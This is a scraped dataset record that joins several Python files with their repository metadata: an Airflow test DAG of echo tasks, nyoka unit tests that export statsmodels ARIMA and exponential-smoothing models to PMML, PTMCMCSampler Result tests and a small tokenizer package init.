Status.STOPPED: pass await component.async_close() captured = capsys.readouterr() assert captured.out.endswith('abc\n')
30.4
78
0.640683
1,794
15,048
5.193423
0.080825
0.102715
0.072126
0.095846
0.842331
0.819577
0.767307
0.756789
0.738542
0.716432
0
0.013822
0.230728
15,048
494
79
30.461538
0.791033
0
0
0.783582
0
0
0.083134
0.011563
0
0
0
0
0.21393
1
0.00995
false
0.002488
0.022388
0
0.039801
0
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
7
9e0b439df01a5c76f413436ceff54fc0477fd442
177
py
Python
src/muse_as_service/tokenizer/__init__.py
dayyass/muse_embedder
31aea931dd2e84d3ab2a4a82d89466ac3cc147a4
[ "MIT" ]
24
2021-06-15T05:17:48.000Z
2021-07-23T16:02:05.000Z
src/muse_as_service/tokenizer/__init__.py
dayyass/muse_embedder
31aea931dd2e84d3ab2a4a82d89466ac3cc147a4
[ "MIT" ]
23
2021-06-12T19:11:35.000Z
2021-07-22T09:40:09.000Z
src/muse_as_service/tokenizer/__init__.py
dayyass/muse_embedder
31aea931dd2e84d3ab2a4a82d89466ac3cc147a4
[ "MIT" ]
2
2021-07-28T04:07:36.000Z
2021-08-19T15:06:35.000Z
from .tokenizer import get_tokenizer_from_saved_model, parse_saved_model, tokenize __all__ = [ "get_tokenizer_from_saved_model", "parse_saved_model", "tokenize", ]
22.125
82
0.768362
22
177
5.454545
0.409091
0.333333
0.266667
0.35
0.816667
0.816667
0.816667
0.816667
0.816667
0
0
0
0.146893
177
7
83
25.285714
0.794702
0
0
0
0
0
0.310734
0.169492
0
0
0
0
0
1
0
false
0
0.166667
0
0.166667
0
1
0
0
null
1
1
1
1
1
1
1
1
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
10
f557b7cd30e97ca0dee9ae19ac55330b7ee30535
2,983
py
Python
tests/dags/bash_test_fail.py
turbaszek/vigilant-giggle
1c290d17faddd6ed9b7b921a89136246c5b3d070
[ "Apache-2.0" ]
null
null
null
tests/dags/bash_test_fail.py
turbaszek/vigilant-giggle
1c290d17faddd6ed9b7b921a89136246c5b3d070
[ "Apache-2.0" ]
null
null
null
tests/dags/bash_test_fail.py
turbaszek/vigilant-giggle
1c290d17faddd6ed9b7b921a89136246c5b3d070
[ "Apache-2.0" ]
null
null
null
import datetime from airflow.models import DAG from airflow.operators.bash_operator import BashOperator from airflow.utils.dates import days_ago default_args = {'wait_for_downstream': True, 'provide_context': False} with DAG( "bash_test_fail_shrubbery", start_date=datetime.datetime.now() - datetime.timedelta(days=1), schedule_interval='*/2 * * * *', default_args=default_args, max_active_runs=1 ) as dag: for target_date in range(0, 10): bash_cmd_j001 = BashOperator( task_id='bash_cmd_j001_' + str(target_date), bash_command='echo "bash_cmd_001"', trigger_rule='all_success') bash_cmd_j002 = BashOperator( task_id='bash_cmd_j002_' + str(target_date), bash_command='echo "bash_cmd_002"', trigger_rule='all_success') bash_cmd_j003 = BashOperator( task_id='bash_cmd_j003_' + str(target_date), bash_command='echo "bash_cmd_003"', trigger_rule='all_success') bash_cmd_j004 = BashOperator( task_id='bash_cmd_j004_' + str(target_date), bash_command='echo "bash_cmd_004"', trigger_rule='all_success') bash_cmd_j005 = BashOperator( task_id='bash_cmd_j005_' + str(target_date), bash_command='echo "bash_cmd_005"', trigger_rule='all_success') if (target_date % 2) == 0: bash_cmd_j001 >> bash_cmd_j002 >> bash_cmd_j003 >> bash_cmd_j004 >> bash_cmd_j005 else: bash_cmd_j001 >> bash_cmd_j005 >> bash_cmd_j004 >> bash_cmd_j003 >> bash_cmd_j002 with DAG( "bash_test_fail_shrubbery_2", start_date=days_ago(1), schedule_interval='*/2 * * * *', default_args=default_args, max_active_runs=1 ) as dag2: for target_date in range(0, 10): bash_cmd_j001 = BashOperator( task_id='bash_cmd_j001_' + str(target_date), bash_command='echo "bash_cmd_001"', trigger_rule='all_success') bash_cmd_j002 = BashOperator( task_id='bash_cmd_j002_' + str(target_date), bash_command='echo "bash_cmd_002"', trigger_rule='all_success') bash_cmd_j003 = BashOperator( task_id='bash_cmd_j003_' + str(target_date), bash_command='echo "bash_cmd_003"', trigger_rule='all_success') bash_cmd_j004 = BashOperator( task_id='bash_cmd_j004_' + str(target_date), bash_command='echo "bash_cmd_004"', trigger_rule='all_success') bash_cmd_j005 = BashOperator( task_id='bash_cmd_j005_' + str(target_date), bash_command='echo "bash_cmd_005"', trigger_rule='all_success') if (target_date % 2) == 0: bash_cmd_j001 >> bash_cmd_j002 >> bash_cmd_j003 >> bash_cmd_j004 >> bash_cmd_j005 else: bash_cmd_j001 >> bash_cmd_j005 >> bash_cmd_j004 >> bash_cmd_j003 >> bash_cmd_j002
39.773333
93
0.636272
389
2,983
4.390746
0.172237
0.204918
0.105386
0.128806
0.854801
0.854801
0.822014
0.822014
0.822014
0.822014
0
0.076018
0.259135
2,983
74
94
40.310811
0.696833
0
0
0.84058
0
0
0.183037
0.016762
0
0
0
0
0
1
0
false
0
0.057971
0
0.057971
0
0
0
0
null
1
0
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
8
f57030fcfc69f6621c4aad2e89d10a5dccba56e0
29,455
py
Python
nyoka/tests/test_statsmodels_to_pmml_UnitTest.py
nimeshgit/nyoka
43bf049825922213eeb3e6a8f39864f9b75d01d5
[ "Apache-2.0" ]
null
null
null
nyoka/tests/test_statsmodels_to_pmml_UnitTest.py
nimeshgit/nyoka
43bf049825922213eeb3e6a8f39864f9b75d01d5
[ "Apache-2.0" ]
2
2021-08-25T16:16:45.000Z
2022-02-10T05:28:52.000Z
nyoka/tests/test_statsmodels_to_pmml_UnitTest.py
nimeshgit/nyoka
43bf049825922213eeb3e6a8f39864f9b75d01d5
[ "Apache-2.0" ]
null
null
null
import sys,os import pandas as pd import numpy as np from statsmodels.tsa.base import tsa_model as tsa from statsmodels.tsa import holtwinters as hw from statsmodels.tsa.statespace import sarimax from statsmodels.tsa.arima_model import ARIMA import unittest from nyoka import ArimaToPMML, ExponentialSmoothingToPMML class TestMethods(unittest.TestCase): def getData1(self): # data with trend and seasonality present # no of international visitors in Australia data = [41.7275, 24.0418, 32.3281, 37.3287, 46.2132, 29.3463, 36.4829, 42.9777, 48.9015, 31.1802, 37.7179, 40.4202, 51.2069, 31.8872, 40.9783, 43.7725, 55.5586, 33.8509, 42.0764, 45.6423, 59.7668, 35.1919, 44.3197, 47.9137] index = pd.DatetimeIndex(start='2005', end='2010-Q4', freq='QS') ts_data = pd.Series(data, index) ts_data.index.name = 'datetime_index' ts_data.name = 'n_visitors' ts_data = ts_data.to_frame() return ts_data def getData2(self): # data with trend but no seasonality # no. of annual passengers of air carriers registered in Australia data = [17.5534, 21.86, 23.8866, 26.9293, 26.8885, 28.8314, 30.0751, 30.9535, 30.1857, 31.5797, 32.5776, 33.4774, 39.0216, 41.3864, 41.5966] index = pd.DatetimeIndex(start='1990', end='2005', freq='A') ts_data = pd.Series(data, index) ts_data.index.name = 'datetime_index' ts_data.name = 'n_passengers' return ts_data def getData3(self): # data with no trend and no seasonality # Oil production in Saudi Arabia data = [446.6565, 454.4733, 455.663, 423.6322, 456.2713, 440.5881, 425.3325, 485.1494, 506.0482, 526.792, 514.2689, 494.211] index = pd.DatetimeIndex(start='1996', end='2008', freq='A') ts_data = pd.Series(data, index) ts_data.index.name = 'datetime_index' ts_data.name = 'oil_production' return ts_data def getData4(self): # Non Seasonal Data data = [266,146,183,119,180,169,232,225,193,123,337,186,194,150,210,273,191,287, 226,304,290,422,265,342,340,440,316,439,401,390,490,408,490,420,520,480] index = pd.DatetimeIndex(start='2016-01-01', end='2018-12-01', freq='MS') ts_data = pd.Series(data, index) ts_data.index.name = 'date_index' ts_data.name = 'cars_sold' ts_data = ts_data.to_frame() return ts_data def getData5(self): # Seasonal Data data = [112, 118, 132, 129, 121, 135, 148, 148, 136, 119, 104, 118, 115, 126, 141, 135, 125, 149, 170, 170, 158, 133, 114, 140, 145, 150, 178, 163, 172, 178, 199, 199, 184, 162, 146, 166, 171, 180, 193, 181, 183, 218, 230, 242, 209, 191, 172, 194, 196, 196, 236, 235, 229, 243, 264, 272, 237, 211, 180, 201, 204, 188, 235, 227, 234, 264, 302, 293, 259, 229, 203, 229, 242, 233, 267, 269, 270, 315, 364, 347, 312, 274, 237, 278, 284, 277, 317, 313, 318, 374, 413, 405, 355, 306, 271, 306, 315, 301, 356, 348, 355, 422, 465, 467, 404, 347, 305, 336, 340, 318, 362, 348, 363, 435, 491, 505, 404, 359, 310, 337, 360, 342, 406, 396, 420, 472, 548, 559, 463, 407, 362, 405, 417, 391, 419, 461, 472, 535, 622, 606, 508, 461, 390, 432] index = pd.DatetimeIndex(start='1949-01-01', end='1960-12-01', freq='MS') ts_data = pd.Series(data, index) ts_data.index.name = 'datetime_index' ts_data.name = 'n_passengers' ts_data = ts_data.to_frame() return ts_data #Exponential Smoothing Test cases @unittest.skip("") def test_exponentialSmoothing_01(self): ts_data = self.getData1() f_name='exponential_smoothing1.pmml' model_obj = hw.ExponentialSmoothing(ts_data, trend='add', damped=True, seasonal='add', seasonal_periods=2) results_obj = model_obj.fit(optimized=True) ExponentialSmoothingToPMML(results_obj, f_name) self.assertEqual(os.path.isfile(f_name),True) @unittest.skip("") def test_exponentialSmoothing_02(self): ts_data = self.getData1() f_name='exponential_smoothing2.pmml' model_obj = hw.ExponentialSmoothing(ts_data, trend='add', damped=False, seasonal='add', seasonal_periods=2) results_obj = model_obj.fit(optimized=True) ExponentialSmoothingToPMML(results_obj, f_name) self.assertEqual(os.path.isfile(f_name),True) @unittest.skip("") def test_exponentialSmoothing_03(self): ts_data = self.getData1() f_name='exponential_smoothing3.pmml' model_obj = hw.ExponentialSmoothing(ts_data, trend='add', damped=True, seasonal='mul', seasonal_periods=2) results_obj = model_obj.fit(optimized=True) ExponentialSmoothingToPMML(results_obj, f_name) self.assertEqual(os.path.isfile(f_name),True) @unittest.skip("") def test_exponentialSmoothing_04(self): ts_data = self.getData1() f_name='exponential_smoothing4.pmml' model_obj = hw.ExponentialSmoothing(ts_data, trend='add', damped=False, seasonal='mul', seasonal_periods=2) results_obj = model_obj.fit(optimized=True) ExponentialSmoothingToPMML(results_obj, f_name) self.assertEqual(os.path.isfile(f_name),True) @unittest.skip("") def test_exponentialSmoothing_05(self): ts_data = self.getData1() f_name='exponential_smoothing5.pmml' model_obj = hw.ExponentialSmoothing(ts_data, trend='mul', damped=True, seasonal='add', seasonal_periods=2) results_obj = model_obj.fit(optimized=True) ExponentialSmoothingToPMML(results_obj, f_name) self.assertEqual(os.path.isfile(f_name),True) @unittest.skip("") def test_exponentialSmoothing_06(self): ts_data = self.getData1() f_name='exponential_smoothing6.pmml' model_obj = hw.ExponentialSmoothing(ts_data, trend='mul', damped=False, seasonal='add', seasonal_periods=2) results_obj = model_obj.fit(optimized=True) ExponentialSmoothingToPMML(results_obj, f_name) self.assertEqual(os.path.isfile(f_name),True) @unittest.skip("") def test_exponentialSmoothing_07(self): ts_data = self.getData1() f_name='exponential_smoothing7.pmml' model_obj = hw.ExponentialSmoothing(ts_data, trend='mul', damped=True, seasonal='mul', seasonal_periods=2) results_obj = model_obj.fit(optimized=True) ExponentialSmoothingToPMML(results_obj, f_name) self.assertEqual(os.path.isfile(f_name),True) os.remove(f_name) @unittest.skip("") def test_exponentialSmoothing_08(self): ts_data = self.getData1() f_name='exponential_smoothing8.pmml' model_obj = hw.ExponentialSmoothing(ts_data, trend='mul', damped=False, seasonal='mul', seasonal_periods=2) results_obj = model_obj.fit(optimized=True) ExponentialSmoothingToPMML(results_obj, f_name) self.assertEqual(os.path.isfile(f_name),True) @unittest.skip("") def test_exponentialSmoothing_09(self): ts_data = self.getData2() f_name='exponential_smoothing9.pmml' model_obj = hw.ExponentialSmoothing(ts_data, trend='add', damped=True, seasonal=None, seasonal_periods=2) results_obj = model_obj.fit(optimized=True) ExponentialSmoothingToPMML(results_obj, f_name) self.assertEqual(os.path.isfile(f_name),True) @unittest.skip("") def test_exponentialSmoothing_10(self): ts_data = self.getData2() f_name='exponential_smoothing10.pmml' model_obj = hw.ExponentialSmoothing(ts_data, trend='add', damped=True, seasonal=None, seasonal_periods=None) results_obj = model_obj.fit(optimized=True) ExponentialSmoothingToPMML(results_obj, f_name) self.assertEqual(os.path.isfile(f_name),True) @unittest.skip("") def test_exponentialSmoothing_11(self): ts_data = self.getData2() f_name='exponential_smoothing11.pmml' model_obj = hw.ExponentialSmoothing(ts_data, trend='add', damped=False, seasonal=None, seasonal_periods=2) results_obj = model_obj.fit(optimized=True) ExponentialSmoothingToPMML(results_obj, f_name) self.assertEqual(os.path.isfile(f_name),True) @unittest.skip("") def test_exponentialSmoothing_12(self): ts_data = self.getData2() f_name='exponential_smoothing12.pmml' model_obj = hw.ExponentialSmoothing(ts_data, trend='add', damped=False, seasonal=None, seasonal_periods=None) results_obj = model_obj.fit(optimized=True) ExponentialSmoothingToPMML(results_obj, f_name) self.assertEqual(os.path.isfile(f_name),True) @unittest.skip("") def test_exponentialSmoothing_13(self): ts_data = self.getData2() f_name='exponential_smoothing13.pmml' model_obj = hw.ExponentialSmoothing(ts_data, trend='mul', damped=True, seasonal=None, seasonal_periods=2) results_obj = model_obj.fit(optimized=True) ExponentialSmoothingToPMML(results_obj, f_name) self.assertEqual(os.path.isfile(f_name),True) @unittest.skip("") def test_exponentialSmoothing_14(self): ts_data = self.getData2() f_name='exponential_smoothing14.pmml' model_obj = hw.ExponentialSmoothing(ts_data, trend='mul', damped=True, seasonal=None, seasonal_periods=None) results_obj = model_obj.fit(optimized=True) ExponentialSmoothingToPMML(results_obj, f_name) self.assertEqual(os.path.isfile(f_name),True) @unittest.skip("") def test_exponentialSmoothing_15(self): ts_data = self.getData2() f_name='exponential_smoothing15.pmml' model_obj = hw.ExponentialSmoothing(ts_data, trend='mul', damped=False, seasonal=None, seasonal_periods=2) results_obj = model_obj.fit(optimized=True) ExponentialSmoothingToPMML(results_obj, f_name) self.assertEqual(os.path.isfile(f_name),True) @unittest.skip("") def test_exponentialSmoothing_16(self): ts_data = self.getData2() f_name='exponential_smoothing16.pmml' model_obj = hw.ExponentialSmoothing(ts_data, trend='mul', damped=False, seasonal=None, seasonal_periods=None) results_obj = model_obj.fit(optimized=True) ExponentialSmoothingToPMML(results_obj, f_name) self.assertEqual(os.path.isfile(f_name),True) @unittest.skip("") def test_exponentialSmoothing_17(self): ts_data = self.getData3() f_name='exponential_smoothing17.pmml' model_obj = hw.ExponentialSmoothing(ts_data, trend=None, damped=False, seasonal=None, seasonal_periods=None) results_obj = model_obj.fit(optimized=True) ExponentialSmoothingToPMML(results_obj, f_name) self.assertEqual(os.path.isfile(f_name),True) @unittest.skip("") def test_exponentialSmoothing_18(self): ts_data = self.getData3() f_name='exponential_smoothing18.pmml' model_obj = hw.ExponentialSmoothing(ts_data, trend=None, damped=False, seasonal=None, seasonal_periods=2) results_obj = model_obj.fit(optimized=True) ExponentialSmoothingToPMML(results_obj, f_name) self.assertEqual(os.path.isfile(f_name),True) #Non Seasonal Arima Test cases def test_non_seasonal_arima1(self): ts_data = self.getData4() f_name='non_seasonal_arima1.pmml' model = ARIMA(ts_data,order=(9, 2, 0)) result = model.fit(trend = 'c', method = 'css-mle', solver = 'lbfgs') ArimaToPMML(result, f_name) self.assertEqual(os.path.isfile(f_name),True) def test_non_seasonal_arima2(self): ts_data = self.getData4() f_name='non_seasonal_arima2.pmml' model = ARIMA(ts_data,order=(9, 2, 0)) result = model.fit(trend = 'c', method = 'css-mle', solver = 'nm') ArimaToPMML(result, f_name) self.assertEqual(os.path.isfile(f_name),True) def test_non_seasonal_arima3(self): ts_data = self.getData4() f_name='non_seasonal_arima3.pmml' model = ARIMA(ts_data,order=(9, 2, 0)) result = model.fit(trend = 'c', method = 'css-mle', solver = 'bfgs') ArimaToPMML(result, f_name) self.assertEqual(os.path.isfile(f_name),True) def test_non_seasonal_arima4(self): ts_data = self.getData4() f_name='non_seasonal_arima4.pmml' model = ARIMA(ts_data,order=(9, 2, 0)) result = model.fit(trend = 'c', method = 'css-mle', solver = 'powell') ArimaToPMML(result, f_name) self.assertEqual(os.path.isfile(f_name),True) def test_non_seasonal_arima5(self): ts_data = self.getData4() f_name='non_seasonal_arima5.pmml' model = ARIMA(ts_data,order=(9, 2, 0)) result = model.fit(trend = 'c', method = 'css-mle', solver = 'cg') ArimaToPMML(result, f_name) self.assertEqual(os.path.isfile(f_name),True) def test_non_seasonal_arima6(self): ts_data = self.getData4() f_name='non_seasonal_arima6.pmml' model = ARIMA(ts_data,order=(9, 2, 0)) result = model.fit(trend = 'c', method = 'css-mle', solver = 'ncg') ArimaToPMML(result, f_name) self.assertEqual(os.path.isfile(f_name),True) def test_non_seasonal_arima7(self): ts_data = self.getData4() f_name='non_seasonal_arima7.pmml' model = ARIMA(ts_data,order=(9, 2, 0)) result = model.fit(trend = 'c', method = 'mle', solver = 'lbfgs') ArimaToPMML(result, f_name) self.assertEqual(os.path.isfile(f_name),True) def test_non_seasonal_arima8(self): ts_data = self.getData4() f_name='non_seasonal_arima8.pmml' model = ARIMA(ts_data,order=(9, 2, 0)) result = model.fit(trend = 'c', method = 'mle', solver = 'nm') ArimaToPMML(result, f_name) self.assertEqual(os.path.isfile(f_name),True) def test_non_seasonal_arima9(self): ts_data = self.getData4() f_name='non_seasonal_arima9.pmml' model = ARIMA(ts_data,order=(9, 2, 0)) result = model.fit(trend = 'c', method = 'mle', solver = 'bfgs') ArimaToPMML(result, f_name) self.assertEqual(os.path.isfile(f_name),True) def test_non_seasonal_arima10(self): ts_data = self.getData4() f_name='non_seasonal_arima10.pmml' model = ARIMA(ts_data,order=(9, 2, 0)) result = model.fit(trend = 'c', method = 'mle', solver = 'powell') ArimaToPMML(result, f_name) self.assertEqual(os.path.isfile(f_name),True) def test_non_seasonal_arima11(self): ts_data = self.getData4() f_name='non_seasonal_arima11.pmml' model = ARIMA(ts_data,order=(9, 2, 0)) result = model.fit(trend = 'c', method = 'mle', solver = 'cg') ArimaToPMML(result, f_name) self.assertEqual(os.path.isfile(f_name),True) def test_non_seasonal_arima12(self): ts_data = self.getData4() f_name='non_seasonal_arima12.pmml' model = ARIMA(ts_data,order=(9, 2, 0)) result = model.fit(trend = 'c', method = 'mle', solver = 'ncg') ArimaToPMML(result, f_name) self.assertEqual(os.path.isfile(f_name),True) def test_non_seasonal_arima13(self): ts_data = self.getData4() f_name='non_seasonal_arima13.pmml' model = ARIMA(ts_data,order=(9, 2, 0)) result = model.fit(trend = 'c', method = 'css', solver = 'lbfgs') ArimaToPMML(result, f_name) self.assertEqual(os.path.isfile(f_name),True) def test_non_seasonal_arima14(self): ts_data = self.getData4() f_name='non_seasonal_arima14.pmml' model = ARIMA(ts_data,order=(9, 2, 0)) result = model.fit(trend = 'c', method = 'css', solver = 'nm') ArimaToPMML(result, f_name) self.assertEqual(os.path.isfile(f_name),True) def test_non_seasonal_arima15(self): ts_data = self.getData4() f_name='non_seasonal_arima15.pmml' model = ARIMA(ts_data,order=(9, 2, 0)) result = model.fit(trend = 'c', method = 'css', solver = 'bfgs') ArimaToPMML(result, f_name) self.assertEqual(os.path.isfile(f_name),True) def test_non_seasonal_arima16(self): ts_data = self.getData4() f_name='non_seasonal_arima16.pmml' model = ARIMA(ts_data,order=(9, 2, 0)) result = model.fit(trend = 'c', method = 'css', solver = 'powell') ArimaToPMML(result, f_name) self.assertEqual(os.path.isfile(f_name),True) def test_non_seasonal_arima17(self): ts_data = self.getData4() f_name='non_seasonal_arima17.pmml' model = ARIMA(ts_data,order=(9, 2, 0)) result = model.fit(trend = 'c', method = 'css', solver = 'cg') ArimaToPMML(result, f_name) self.assertEqual(os.path.isfile(f_name),True) def test_non_seasonal_arima18(self): ts_data = self.getData4() f_name='non_seasonal_arima18.pmml' model = ARIMA(ts_data,order=(9, 2, 0)) result = model.fit(trend = 'c', method = 'css', solver = 'ncg') ArimaToPMML(result, f_name) self.assertEqual(os.path.isfile(f_name),True) #Seasonal Arima Test cases def test_seasonal_arima1(self): ts_data = self.getData5() f_name='seasonal_arima1.pmml' model = sarimax.SARIMAX(endog = ts_data, exog = None, order = (3, 1, 1), seasonal_order = (3, 1, 1, 12), trend = 't', measurement_error = True, time_varying_regression = True, mle_regression = False, simple_differencing = True, enforce_stationarity = False, enforce_invertibility = False, hamilton_representation = True, concentrate_scale = False) result = model.fit(disp=False) ArimaToPMML(result, f_name) self.assertEqual(os.path.isfile(f_name),True) def test_seasonal_arima2(self): ts_data = self.getData5() f_name='seasonal_arima2.pmml' model = sarimax.SARIMAX(endog = ts_data, exog = None, order = (3, 1, 1), seasonal_order = (3, 1, 1, 12), trend = 't', measurement_error = True, time_varying_regression = True, mle_regression = False, simple_differencing = False, enforce_stationarity = False, enforce_invertibility = False, hamilton_representation = False, concentrate_scale = False) result = model.fit(disp=False) ArimaToPMML(result, f_name) self.assertEqual(os.path.isfile(f_name),True) def test_seasonal_arima3(self): ts_data = self.getData5() f_name='seasonal_arima3.pmml' model = sarimax.SARIMAX(endog = ts_data, exog = None, order = (3, 1, 1), seasonal_order = (3, 1, 1, 12), trend = 't', measurement_error = True, time_varying_regression = False, mle_regression = True, simple_differencing = True, enforce_stationarity = False, enforce_invertibility = False, hamilton_representation = True, concentrate_scale = False) result = model.fit(disp=False) ArimaToPMML(result, f_name) self.assertEqual(os.path.isfile(f_name),True) def test_seasonal_arima4(self): ts_data = self.getData5() f_name='seasonal_arima4.pmml' model = sarimax.SARIMAX(endog = ts_data, exog = None, order = (3, 1, 1), seasonal_order = (3, 1, 1, 12), trend = 't', measurement_error = True, time_varying_regression = False, mle_regression = True, simple_differencing = False, enforce_stationarity = False, enforce_invertibility = False, hamilton_representation = False, concentrate_scale = False) result = model.fit(disp=False) ArimaToPMML(result, f_name) self.assertEqual(os.path.isfile(f_name),True) def test_seasonal_arima5(self): ts_data = self.getData5() f_name='seasonal_arima5.pmml' model = sarimax.SARIMAX(endog = ts_data, exog = None, order = (3, 1, 1), seasonal_order = (3, 1, 1, 12), trend = 't', measurement_error = False, time_varying_regression = True, mle_regression = False, simple_differencing = True, enforce_stationarity = False, enforce_invertibility = False, hamilton_representation = True, concentrate_scale = False) result = model.fit(disp=False) ArimaToPMML(result, f_name) self.assertEqual(os.path.isfile(f_name),True) def test_seasonal_arima6(self): ts_data = self.getData5() f_name='seasonal_arima6.pmml' model = sarimax.SARIMAX(endog = ts_data, exog = None, order = (3, 1, 1), seasonal_order = (3, 1, 1, 12), trend = 't', measurement_error = False, time_varying_regression = True, mle_regression = False, simple_differencing = False, enforce_stationarity = False, enforce_invertibility = False, hamilton_representation = False, concentrate_scale = False) result = model.fit(disp=False) ArimaToPMML(result, f_name) self.assertEqual(os.path.isfile(f_name),True) def test_seasonal_arima7(self): ts_data = self.getData5() f_name='seasonal_arima7.pmml' model = sarimax.SARIMAX(endog = ts_data, exog = None, order = (3, 1, 1), seasonal_order = (3, 1, 1, 12), trend = 't', measurement_error = False, time_varying_regression = False, mle_regression = True, simple_differencing = True, enforce_stationarity = False, enforce_invertibility = False, hamilton_representation = True, concentrate_scale = False) result = model.fit(disp=False) ArimaToPMML(result, f_name) self.assertEqual(os.path.isfile(f_name),True) def test_seasonal_arima8(self): ts_data = self.getData5() f_name='seasonal_arima8.pmml' model = sarimax.SARIMAX(endog = ts_data, exog = None, order = (3, 1, 1), seasonal_order = (3, 1, 1, 12), trend = 't', measurement_error = False, time_varying_regression = False, mle_regression = True, simple_differencing = False, enforce_stationarity = False, enforce_invertibility = False, hamilton_representation = False, concentrate_scale = False) result = model.fit(disp=False) ArimaToPMML(result, f_name) self.assertEqual(os.path.isfile(f_name),True) if __name__=='__main__': unittest.main(warnings='ignore')
45.808709
145
0.502122
2,936
29,455
4.830381
0.145777
0.04689
0.031025
0.043435
0.838528
0.833028
0.821041
0.821041
0.753067
0.702651
0
0.069766
0.404855
29,455
642
146
45.880062
0.739247
0.012494
0
0.733333
0
0
0.053312
0.032194
0
0
0
0
0.079279
1
0.088288
false
0.003604
0.016216
0
0.115315
0
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
7
2760d1073882aa43bfaa33d967fa5d78a00ceb7a
6,385
py
Python
tests/test_result_file.py
rgreen1995/PTMCMCSampler
3260a48bf34f78511381cf0c8aeaa8ec2ce81f10
[ "MIT" ]
1
2019-07-22T09:19:03.000Z
2019-07-22T09:19:03.000Z
tests/test_result_file.py
rgreen1995/PTMCMCSampler
3260a48bf34f78511381cf0c8aeaa8ec2ce81f10
[ "MIT" ]
36
2019-07-04T14:31:37.000Z
2019-07-30T09:29:32.000Z
tests/test_result_file.py
rgreen1995/PTMCMCSampler
3260a48bf34f78511381cf0c8aeaa8ec2ce81f10
[ "MIT" ]
2
2019-07-04T12:43:12.000Z
2019-07-23T08:48:35.000Z
import pytest import numpy as np import matplotlib import corner import os from PTMCMCSampler.result import Result class BaseResult(object): """Base class for Result object """ def test_samples(self): """Test that the samples property returns what it should """ result_values = self.result.samples.all() assert result_values == self.initial_samples[:, self.burnin:].all() def test_likelihood_value(self): """Test that the likelihood property returns what it should """ result_values = self.result.likelihood_values.all() true_values = self.initial_likelihood_vals[:, self.burnin:].all() assert result_values == true_values def test_prior_value(self): """Test that the likelihood property returns what it should """ result_values = self.result.prior_values.all() assert result_values == self.initial_prior_vals[:, self.burnin:].all() def test_set_burnin(self): """Test the function `set_burnin` """ assert self.result.burnin == self.burnin self.result.set_burnin(500) assert self.result.burnin == 500 self.result.set_burnin(500.0) assert self.result.burnin == 500 self.result.set_burnin(None) assert self.result.burnin == int(0.25 * len(self.initial_samples)) self.result.set_burnin(self.burnin) assert self.result.burnin == self.burnin def test_save(self): """Test the function `save` """ self.result.save(outfile="test.txt") assert os.path.isfile("test_chain0.txt") if self.result.num_chains == 2: assert os.path.isfile("test_chain1.txt") def test_plot_chains(self): """Test the function `plot_chains` """ assert isinstance(self.result.plot_chains(), matplotlib.figure.Figure) def test_plot_corner(self): """Test the function `plot_corner` """ assert isinstance(self.result.plot_corner(), matplotlib.figure.Figure) class TestResult1d(BaseResult): """Class to test the Result object for 1 cold chains """ def setup(self): """Setup the Result object """ self.n_cold_chains = 1 self.initial_samples = np.array([np.array( [np.random.random(2) for i in range(1000)])] * self.n_cold_chains) self.initial_likelihood_vals = np.array([np.array( [np.random.random(1) for i in range(1000)])] * self.n_cold_chains) self.initial_prior_vals = np.array([np.array( [np.random.random(1) for i in range(1000)])] * self.n_cold_chains) self.burnin = 100 self.result = Result( self.initial_samples, burnin=self.burnin, initial_likelihood_vals=self.initial_likelihood_vals, initial_prior_vals=self.initial_prior_vals, num_chains=self.n_cold_chains ) def teardown(self): """Remove the files generated by the `save` function """ if os.path.isfile("test_chain0.txt"): os.remove("test_chain0.txt") def test_set_burnin(self): """Test the function `set_burnin` """ super(TestResult1d, self).test_set_burnin() def test_save(self): """Test the function `save` """ super(TestResult1d, self).test_save() def test_samples(self): """Test that the samples property returns what it should """ super(TestResult1d, self).test_samples() def test_likelihood_value(self): """Test that the likelihood property returns what it should """ super(TestResult1d, self).test_likelihood_value() def test_prior_value(self): """Test that the likelihood property returns what it should """ super(TestResult1d, self).test_prior_value() def test_plot_chains(self): """Test that we can produce a chain plot """ super(TestResult1d, self).test_plot_chains() def test_plot_corner(self): """Test that we can produce a corner plot """ super(TestResult1d, self).test_plot_corner() class TestResult2d(BaseResult): """Class to test the Result object for 2 cold chains """ def setup(self): """Setup the Result object """ self.n_cold_chains = 2 self.initial_samples = np.array([np.array( [np.random.random(2) for i in range(1000)])] * self.n_cold_chains) self.initial_likelihood_vals = np.array([np.array( [np.random.random(1) for i in range(1000)])] * self.n_cold_chains) self.initial_prior_vals = np.array([np.array( [np.random.random(1) for i in range(1000)])] * self.n_cold_chains) self.burnin = 100 self.result = Result( self.initial_samples, burnin=self.burnin, initial_likelihood_vals=self.initial_likelihood_vals, initial_prior_vals=self.initial_prior_vals, num_chains=self.n_cold_chains ) def teardown(self): """Remove the files generated by the `save` function """ if os.path.isfile("test_chain0.txt"): os.remove("test_chain0.txt") if os.path.isfile("test_chain1.txt"): os.remove("test_chain1.txt") def test_set_burnin(self): """Test the function `set_burnin` """ super(TestResult2d, self).test_set_burnin() def test_save(self): """Test the function `save` """ super(TestResult2d, self).test_save() def test_samples(self): """Test that the samples property returns what it should """ super(TestResult2d, self).test_samples() def test_likelihood_value(self): """Test that the likelihood property returns what it should """ super(TestResult2d, self).test_likelihood_value() def test_prior_value(self): """Test that the likelihood property returns what it should """ super(TestResult2d, self).test_prior_value() def test_plot_chains(self): """Test that we can produce a chain plot """ super(TestResult2d, self).test_plot_chains() def test_plot_corner(self): """Test that we can produce a corner plot """ super(TestResult2d, self).test_plot_corner()
33.429319
78
0.625529
802
6,385
4.798005
0.104738
0.072765
0.040541
0.038981
0.851091
0.808212
0.740385
0.723753
0.703482
0.658264
0
0.017227
0.263587
6,385
190
79
33.605263
0.801148
0.218794
0
0.548077
0
0
0.026457
0
0
0
0
0
0.115385
1
0.240385
false
0
0.057692
0
0.326923
0
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
1
0
0
0
0
0
0
0
7
279ad5e228c4f2d1e0d4aea9db9284fb97bdb6d4
10,699
py
Python
tests/integration/operators_test/depthtospace_test.py
gglin001/popart
